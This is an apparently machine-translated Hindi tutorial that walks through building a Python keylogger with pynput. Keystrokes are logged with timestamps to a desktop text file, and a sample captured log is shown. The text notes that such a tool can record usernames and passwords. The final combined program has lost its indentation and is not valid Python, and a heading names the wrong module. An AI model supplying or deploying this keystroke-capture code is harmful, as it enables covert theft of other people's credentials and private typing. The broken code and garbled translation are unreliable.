Computer >> कंप्यूटर >  >> प्रोग्रामिंग >> Python

पायथन में एक कीलॉगर डिज़ाइन करें

यहां हम अजगर का उपयोग करके एक कीलॉगर विकसित करने जा रहे हैं। लेकिन उससे पहले, keylogger क्या है? कीलॉगर एक प्रोग्राम है जिसके साथ हम कीस्ट्रोक्स की निगरानी करते हैं। ये कीस्ट्रोक्स एक लॉग फ़ाइल में संग्रहीत किए जाएंगे। हम इस कीस्ट्रोक का उपयोग करके उपयोगकर्ता नाम और पासवर्ड जैसी संवेदनशील जानकारी रिकॉर्ड कर सकते हैं।

एक keylogger बनाने के लिए हम pynput मॉड्यूल का उपयोग करने जा रहे हैं। चूंकि यह अजगर का मानक पुस्तकालय नहीं है, इसलिए हमें इसे स्थापित करने की आवश्यकता हो सकती है।

pyxhook मॉड्यूल स्थापित करना -

मैं pynput स्थापित करने के लिए pip का उपयोग करने जा रहा हूँ -

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

यह जांचने के लिए कि हमारा इंस्टॉलेशन सफल है, मॉड्यूल को अपने पायथन शेल में आयात करने का प्रयास करें

>>> import pynput
>>>

कीलॉगर बनाना प्रारंभ करें

एक बार आवश्यक पुस्तकालय स्थापित हो जाने के बाद, आवश्यक पैकेज और विधि आयात करें। कीबोर्ड की निगरानी के लिए, हम pynput.keyboard मॉड्यूल की कुंजी और श्रोता पद्धति का उपयोग करने जा रहे हैं। हम अपने कीस्ट्रोक्स को एक फ़ाइल में लॉग करने के लिए लॉगिंग मॉड्यूल का भी उपयोग करने जा रहे हैं।

from pynput.keyboard import Key, Listener
import logging

इसके बाद, हम उस पथ को सेट करने जा रहे हैं जहां हम अपनी लॉग फाइलों को स्टोर करने जा रहे हैं, किस मोड में लॉग स्टोर और प्रारूप होंगे।

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

फिर हमने फ़ंक्शन को on_press() कहा जो कीप्रेस के लिए एक परिभाषा बनाता है और कुंजी को एक पैरामीटर के रूप में लेता है।

def on_press(key):
   logging.info(str(key))

आखिरी चीज जो हम करने जा रहे हैं वह है श्रोता का एक उदाहरण स्थापित करना और उसमें on_press विधि को परिभाषित करना और फिर मुख्य धागे में उदाहरण को जोड़ना।

with Listener(on_press=on_press) as listener:
listener.join()

उपर्युक्त चरण को मिलाकर, हम अपना अंतिम कार्यक्रम बनाने के चरण में हैं -

from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()

जब मेरी स्क्रिप्ट चल रही थी, मैंने एक ब्राउज़र खोलने और "हैलो वर्ल्ड, विकिपीडिया" टाइप करने का प्रयास किया। आइए देखें कि हमारी लॉग फ़ाइल का क्या हुआ -

मैं देख सकता हूँ, मेरे कंप्यूटर डेस्कटॉप में एक "keyLog.txt" फ़ाइल बनाई गई है और अगर मैंने इसकी सामग्री को देखने की कोशिश की तो मुझे -

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

इसलिए हम देख सकते हैं कि मैंने अपने ब्राउज़र में जो कुछ भी टाइप करने का प्रयास किया है, प्रत्येक कीस्ट्रोक इस फ़ाइल में संग्रहीत है। इसलिए, हमने यहां अजगर में एक बहुत ही सरल कुंजी लकड़हारा बनाया है।


  1. issuperset () पायथन में

    इस लेख में, हम पायथन में issuperset() और विभिन्न क्षेत्रों में इसके कार्यान्वयन के बारे में जानेंगे। यह विधि बूलियन ट्रू लौटाती है यदि एक सेट बी के सभी तत्वों में सभी तत्व सेट ए होते हैं जो एक तर्क के रूप में पारित होते हैं और यदि ए के सभी तत्व बी में मौजूद नहीं होते हैं तो झूठा रिटर्न देता है। इस

  1. पायथन में अंडरस्कोर (_)

    पायथन में कुछ मामलों में हम सिंगल अंडरस्कोर (_) का उपयोग करते हैं और कुछ मामलों में हम डबल अंडरस्कोर (__) का उपयोग करते हैं। पायथन में निम्नलिखित मामले हैं, जहां हम अंडरस्कोर का उपयोग करते हैं। अगर हम दुभाषिए में लास्ट एक्सप्रेशन की वैल्यू स्टोर करना चाहते हैं। यदि हम कुछ मूल्यों को अनदेखा करना चा

  1. पायथन में क्विन

    क्विन एक प्रोग्राम है, जो कोई इनपुट नहीं लेता है, लेकिन यह आउटपुट का उत्पादन करता है। यह इसका अपना सोर्स कोड दिखाएगा। इसके अतिरिक्त, क्विन की कुछ शर्तें हैं। हम प्रोग्राम के अंदर सोर्स कोड फ़ाइल नहीं खोल सकते। उदाहरण कोड a=a=%r;print (a%%a);print (a%a) आउटपुट a=a=%r;print (a%%a);print (a%a) य